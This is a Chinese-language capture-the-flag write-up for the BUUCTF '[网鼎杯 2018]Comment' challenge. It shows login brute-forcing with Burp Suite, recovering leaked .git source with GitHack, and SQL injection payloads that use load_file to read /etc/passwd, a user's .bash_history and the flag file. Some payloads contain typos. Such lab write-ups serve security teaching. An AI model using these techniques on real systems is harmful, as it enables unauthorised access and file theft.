当前位置: 首页 > news >正文

【BUUCTF】[网鼎杯 2018]Comment

进入题目页面如下

看到有留言板

点击发帖,随便输入内容,提交

跳转到login.php,页面如下

看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位

用burp suite爆破看看能不能爆破出隐藏的三位

先进行抓包

右键发送到Intruder模块

在隐藏的三个数处添加payload,并按下图设置,并开始攻击

看到长度不同的payload

看到是666

zhangwei

zhangwei666

登录成功

尝试了SQL注入、xss漏洞都无果

用dirsearch扫描根目录试试

dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*

看到多个.git路径,猜测是源码泄露

用GitHack下载源码

我是在kali中下载的GitHack

先进入root用户

sudo su

下载克隆Git Hack库

git clone https://github.com/BugScanTeam/GitHack

使用GitHack时,要先cd一下,在Git Hack目录下进行

cd GitHack

GitHack要用python2

python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/

显示这个则成功

打开GitHack文件下的dist

看到write_do.php文件

打开看到源码

但是并没有发现可以利用的漏洞

发现还需要

git源码的恢复

命令如下

git log --reflog

复制上面commit的第一个内容

git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8

再次打开,得到完整代码

 

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

开始审计

<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";

// 启动会话,用于存储和获取用户的会话信息
session_start();

// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){
    // 若未登录,使用 header 函数将用户重定向到登录页面 login.php
    header("Location: ./login.php");
    // 终止当前脚本的执行,防止后续代码继续运行
    die();
}

// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){
    // 根据 'do' 参数的值进行不同的操作
    switch ($_GET['do'])
    {
        // 当 'do' 参数的值为 'write' 时
        case 'write':
            // 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入
            $category = addslashes($_POST['category']);
            // 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义
            $title = addslashes($_POST['title']);
            // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
            $content = addslashes($_POST['content']);
            // 构建插入数据到 'board' 表的 SQL 语句
            $sql = "insert into board
                    set category = '$category',
                        title = '$title',
                        content = '$content'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为 'comment' 时
        case 'comment':
            // 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义
            $bo_id = addslashes($_POST['bo_id']);
            // 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句
            $sql = "select category from board where id='$bo_id'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 获取查询结果的行数
            $num = mysql_num_rows($result);
            // 如果查询结果的行数大于 0,说明存在符合条件的记录
            if($num>0){
                // 获取查询结果中的 'category' 字段值
                $category = mysql_fetch_array($result)['category'];
                // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
                $content = addslashes($_POST['content']);
                // 构建插入数据到 'comment' 表的 SQL 语句
                $sql = "insert into comment
                        set category = '$category',
                            content = '$content',
                            bo_id = '$bo_id'";
                // 执行 SQL 语句
                $result = mysql_query($sql);
            }
            // 将用户重定向到 comment.php 页面,并传递 'id' 参数
            header("Location: ./comment.php?id=$bo_id");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为其他值时
        default:
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
    }
}
// 如果没有通过 GET 请求传递 'do' 参数
else{
    // 将用户重定向到 index.php 页面
    header("Location: ./index.php");
}
?>

存在SQL注入

代码使用了 addslashes 函数对用户输入进行转义

addslashes 只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护


SQL注入

注入点值为comment

爆出数据库名

1',content=database(),/*

点击提交,点击详情

提交留言填写*/#用于闭合语句

爆出了数据库名,回显ctf

payload

1',content=(select( load_file('/etc/passwd'))),/*

得到信息,用bash进行读取文件
用户为www,读取他的history文件

1’,content=(select (load_file(‘/home/www/.bash_history’))),/*

得到命令

1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*

读取.DS_Store文件

得到一串十六进制文本

在线十六进制转字符

flag文件是:flag_8946e1ff1ee3e40f.php

回到/var/www/html中读取flag

1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*


相关文章:

  • 通俗诠释 DeepSeek-V3 模型的 “671B” ,“37B”与 “128K”,用生活比喻帮你理解模型的秘密!
  • 【股票数据API接口25】如何获取最近10天历史成交分布数据之Python、Java等多种主流语言实例代码演示通过股票数据接口获取数据
  • 自己部署 DeepSeek 助力 Vue 开发:打造丝滑的折叠面板(Accordion)
  • 智能设备监控:AI 与 Python 助力设备管理的未来
  • 【Linux】Ubuntu Linux 系统——Python集成开发环境
  • 非线性动力学笔C5.2线性系统的分类
  • React使用 useImperativeHandle 自定义暴露给父组件的实例方法(包括依赖)
  • Deepseek实用万能提问模板
  • 【C语言】第一期——数据类型变量常量
  • 绕过information_schema;绕过Order by;seacmsv9实现联合注入数据
  • 安全测试|SSRF请求伪造
  • 剑指 Offer II 019. 最多删除一个字符得到回文
  • Macos机器hosts文件便捷修改工具——SwitchHosts
  • Jmeter断言、关联、录制脚本
  • 【ISO 14229-1:2023 UDS诊断全量测试用例清单系列:第十六节】
  • Seaweedfs(master volume filer) docker run参数帮助文档
  • STM32 外部中断和NVIC嵌套中断向量控制器
  • 内容中台重构企业内容管理流程驱动智能协作升级
  • 【一文读懂】什么是MVVM?
  • 打印问题总结
  • 哈莉·贝瑞、洪常秀等出任戛纳主竞赛单元评委
  • 《中国奇谭》首部动画电影《浪浪山小妖怪》定档8月2日
  • 买新房可申领学位,广州南沙出台购房入学政策
  • “85后”潘欢欢已任河南中豫融资担保有限公司总经理
  • 幸福航空五一前三天航班取消:客服称目前是锁舱状态,无法确认何时恢复
  • 网警侦破特大“刷量引流”网络水军案:涉案金额达2亿余元